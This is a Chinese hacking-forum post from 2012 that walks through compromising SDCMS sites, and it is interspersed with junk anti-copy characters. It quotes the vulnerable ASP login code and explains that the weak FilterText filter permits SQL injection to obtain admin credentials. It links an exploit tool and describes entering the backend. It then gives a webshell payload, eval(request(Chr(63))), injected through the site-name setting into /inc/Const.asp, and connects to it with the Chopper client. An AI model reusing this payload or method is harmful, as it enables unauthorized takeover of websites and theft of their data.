中国网络渗透测试联盟

标题: SDCMS通杀漏洞利用工具及提权拿SHELL [打印本页]

作者: admin    时间: 2012-11-9 20:57
标题: SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥! U2 d# @$ r/ w  a; v! f4 k$ P& o9 j
漏洞文件:后台目录/index.asp
+ G& A) q4 Z1 Y5 |% e6 e& U
: b8 P+ A1 Q8 b4 WSub Check
: S2 V3 q7 K( T! l1 o7 d6 Z    Dim username,password,code,getcode,Rs# ^) G% Z) Q$ k
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub- l) U& v, m7 C# K% i) W3 v
    username=FilterText(Trim(Request.Form("username")),1), f% P: W! A6 k0 ?0 T, p) ^% k0 y1 Y6 d
    password=FilterText(Trim(Request.Form("password")),1)
0 i8 g' ^, ~7 {  S    code=Trim(Request.Form("yzm"))
* N& C# i) |3 b; X' J% a    getcode=Session("SDCMSCode")
" t0 A9 G1 f7 @2 M2 b+ s! ^5 \1 B    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
  f5 T7 R7 Q3 |6 _% O( T    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
- v( K/ g+ ~6 N8 ]! L$ v    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
' O: t( q7 O. e    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
% _; H3 |5 H# o  i- d' c7 _    IF username="" or password="" Then
; `/ _  H3 G6 ]0 U4 I        Echo "用户名或密码不能为空"ied- k$ z5 f2 M" O+ S+ W, C
    Else1 J8 E  `& L+ a% x& Q8 J, k
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")# D8 H9 t+ Y0 ?' T8 o" ^2 d
        IF Rs.Eof Then: o" D, q. `7 O7 e/ s3 |# [
            AddLog username,GetIp,"登录失败",1
2 Y; s4 K2 E4 J            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"9 `! ?0 H7 A' U% v( n4 @% y
        Else, K/ F- {+ O/ N  R8 K, f1 g5 Y1 m
            Add_Cookies "sdcms_id",Rs(0). g5 }& _2 d  I/ E2 _5 D9 j: a7 v. I
            Add_Cookies "sdcms_name",username# Y. t+ Y& e: X2 G5 h9 A6 N
            Add_Cookies "sdcms_pwd",Rs(2)  `. u4 A& U9 b- y) w
            Add_Cookies "sdcms_admin",Rs(3)
- H( F6 J4 m9 e$ t' v            Add_Cookies "sdcms_alllever",Rs(4)
. u! U2 o9 a4 V            Add_Cookies "sdcms_infolever",Rs(5)
! k% J8 b8 G8 {: B            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
3 N2 m" p6 Y, ?, M4 H/ G            AddLog username,GetIp,"登录成功",1
/ l" e7 d; W: l. T            '自动删除30天前的Log记录
% _0 y4 T/ ~9 F% y            IF Sdcms_DataType Then
$ F' G! n& ]: }0 O                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
% o' ~; E6 {6 i% ?8 m5 J            Else: f! K8 R$ G' a
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( d1 ]' B& ?1 a, Q            End IF+ v/ t3 P! p( D+ u, q( i+ F
            Go("sdcms_index.asp")
1 _+ z7 x& W& k: z1 g  P8 k+ B" z        End IF
1 h- Q# {, z  O( [% `; q4 T% P        Rs.Close
% U: _4 O' a  k  ?$ f        Set Rs=Nothing
' P( F; d! L% ~7 O) N( w" e    End IF
* [, v# b0 N# |- Y+ EEnd Sub; L& R7 `; E$ S: G
" y# b+ ?8 T2 ^. Q- `0 V, F
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
. C5 V, I' W* u6 f" C# e# l0 ?
3 A/ O& U, \! y4 J+ r7 n8 ?Function FilterText(ByVal t0,ByVal t1)
- N# w5 b0 ^6 e9 Q+ `8 y5 ~7 c    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
7 @# B* |" B7 H1 N7 @. r3 ?    t0=Trim(t0)
' X  n  t$ p% i4 ^) a    Select Case t14 A8 }5 d; _3 l
        Case "1"/ l- ^5 v8 r4 x! Q$ ?* \
            t0=Replace(t0,Chr(32),"")+ q& a5 f$ A6 C' x) e* a
            t0=Replace(t0,Chr(13),"")
) L' y' a+ ^1 L/ u( P: u) a            t0=Replace(t0,Chr(10)&Chr(10),"")
8 q0 N0 A, J5 `) j4 `            t0=Replace(t0,Chr(10),"")
& _) L8 z  c+ j7 \        Case "2"
9 _" Y, o: A* s. o6 h) x            t0=Replace(t0,Chr(8),"")'回格
: {7 o4 f. P8 a5 C/ z- |# l2 j            t0=Replace(t0,Chr(9),"")'tab(水平制表符), d, N& e1 F: d, a
            t0=Replace(t0,Chr(10),"")'换行
3 ?. `' d7 A" A+ L! w3 H            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
- p# F' W0 ^; P            t0=Replace(t0,Chr(12),"")'换页3 O& e0 M0 G# J. f. r, p* p; w
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合5 C  \: b! u) n( @& [/ Y8 C
            t0=Replace(t0,Chr(22),"")
3 n- |: x- p; z& a            t0=Replace(t0,Chr(32),"")'空格 SPACE
% h1 f2 D+ \& p+ ]3 q. ?            t0=Replace(t0,Chr(33),"")'!
! o* ^) C- F3 w  g. w            t0=Replace(t0,Chr(34),"")'"
$ A3 Q4 ]+ z- }            t0=Replace(t0,Chr(35),"")'#
/ ~$ `% a7 q) c+ o            t0=Replace(t0,Chr(36),"")'$
) _- P  F8 _) b2 ?4 u1 p+ X& c            t0=Replace(t0,Chr(37),"")'%* S# R1 }% H2 L
            t0=Replace(t0,Chr(38),"")'&% h$ K" r; X/ t! F
            t0=Replace(t0,Chr(39),"")''
9 V2 x( ^2 w# u7 d5 q6 \1 B            t0=Replace(t0,Chr(40),"")'(8 ]* Y! c7 O( M% \0 ?  o% M8 p
            t0=Replace(t0,Chr(41),"")')! t3 n& c, y" G3 U, s* ]# U  P/ J
            t0=Replace(t0,Chr(42),"")'*
! @7 R. m8 y2 A/ q* y: {            t0=Replace(t0,Chr(43),"")'+4 q1 o1 L. Q1 [
            t0=Replace(t0,Chr(44),"")',
$ @: x1 @6 z1 g, m            t0=Replace(t0,Chr(45),"")'-
; P5 i8 P- X0 F" g            t0=Replace(t0,Chr(46),"")'.
8 r/ J1 C. E& y            t0=Replace(t0,Chr(47),"")'/  K3 Z3 L4 V3 t" j5 S" d
            t0=Replace(t0,Chr(58),"")':
$ K7 e9 k1 b2 K- w3 I+ d) n' A            t0=Replace(t0,Chr(59),"")';: g. z3 Z* h/ [. d* M
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>5 \0 z% y8 H  o5 g; P
            t0=Replace(t0,Chr(63),"")'?7 \8 r9 O- E9 O4 h6 x
            t0=Replace(t0,Chr(64),"")'@
& b7 {' h* O; K' `  E            t0=Replace(t0,Chr(91),"")'\
5 s% n+ v  G: j) f' l$ ?            t0=Replace(t0,Chr(92),"")'\
0 v( ^* ~6 v2 Y" g            t0=Replace(t0,Chr(93),"")']) s% \: S. i% n) }- a/ t+ J6 X
            t0=Replace(t0,Chr(94),"")'^0 V  Z& m1 R# }4 U
            t0=Replace(t0,Chr(95),"")'_5 B, {% _5 K# C' V) l
            t0=Replace(t0,Chr(96),"")'`6 O# f- g" p' u$ b- H
            t0=Replace(t0,Chr(123),"")'{
  G; q; C  {& x- x7 G            t0=Replace(t0,Chr(124),"")'|4 V; v: K3 n! q! z
            t0=Replace(t0,Chr(125),"")'}* e1 _  `1 z/ S% a4 Q  F* Z3 J4 D
            t0=Replace(t0,Chr(126),"")'~# W1 S* V1 E0 H8 C$ Q4 ~- M6 T
    Case Else+ Q+ Y$ x6 L/ U  a$ H
        t0=Replace(t0, "&", "&")' F) J  u# H+ w% Z7 r, R+ c6 E
        t0=Replace(t0, "'", "'")* J* h" D7 ]# O) P4 K
        t0=Replace(t0, """", """)
. q8 A5 M- O0 f/ [        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
: Z4 n# W! k+ n+ h6 A* G  x    End Select
# P; [$ W5 f# O. I# o    IF Instr(Lcase(t0),"expression")>0 Then
! Z$ x  Q1 s$ v; M7 _        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)0 f. j' H9 N( m" ^* @
    End If
9 Z8 x# a3 _& I( @$ I& K' F    FilterText=t0
% G7 I8 }9 V: A- |End Function% \7 n, k# r( X6 c
. ?1 R" H: |' w, O3 O
看到没。直接参数是1 只过滤
( U8 j- B0 e5 Q5 \/ {* _7 t% d1 d                        t0=Replace(t0,Chr(32)," ")* K2 f* g# ?* [
                        t0=Replace(t0,Chr(13),"")  C. `9 e# c. x3 `  C" _6 e+ I
                        t0=Replace(t0,Chr(10)&Chr(10),"4 q! S( V% x" W
")% A3 ]# d% R! J0 v( J
                        t0=Replace(t0,Chr(10),"
! y" c) b" d0 N0 b/ @& @")4 f0 y. p) p$ g- b7 p
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!0 D, U- l$ ?, j8 F+ R
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP- O. m3 ^; H* O+ W+ a6 F
6 s2 K' h+ c1 T* J$ `
测试:3 [# k9 @0 r/ \1 W" [

- \! M% w7 ~: H+ S
- G0 }' d1 g2 m1 y5 Q) d现在输入工具上验证码,然后点OK8 o% z7 R! J. Z+ c" e5 _. k: h

& v" T8 M8 D' w0 M. S% u6 j, e$ X# o7 U- ^
看到我们直接进入后台管理界面了,呵呵!
6 t8 J' C; h5 q3 |' S. d  S( u( ]7 D" |
+ b+ E4 c. r% m8 \+ I: k; x5 l
: g! @. a5 k5 j0 |& ~
这样直接进入后台了。。。。
7 h" Z2 y# e. u3 u- P. u" F, ]
8 o, I% m) w9 l  k4 t# h/ i ) R; H$ Y5 R( I' e3 @( F7 l7 S
  r9 ^0 Z! v+ E) M# Y2 Q/ V: b
SDCMS提权:
5 C. f1 n! O; K" Z3 X! Q( Z& N2 f! D) M- k; E! O
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
- K) A' {2 H4 ]: R/ B" \2 K3 m# C5 w9 f4 i

' h6 i: G4 o5 c0 s- m5 a$ C6 Z7 p, D6 e/ ?9 h$ ~6 P0 k
OK,现在用菜刀连接下!
9 C% X: J' n+ Q8 ~+ J4 I8 j1 T8 F

" _! h  {: C0 U: y, E
; Z" x& a/ F: \3 V' Y" [8 v+ }7 ~/ A 4 _$ d+ R0 x0 i: t( X6 W0 H7 T6 @/ U

$ S" K, U% K+ s' `2 [7 G




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2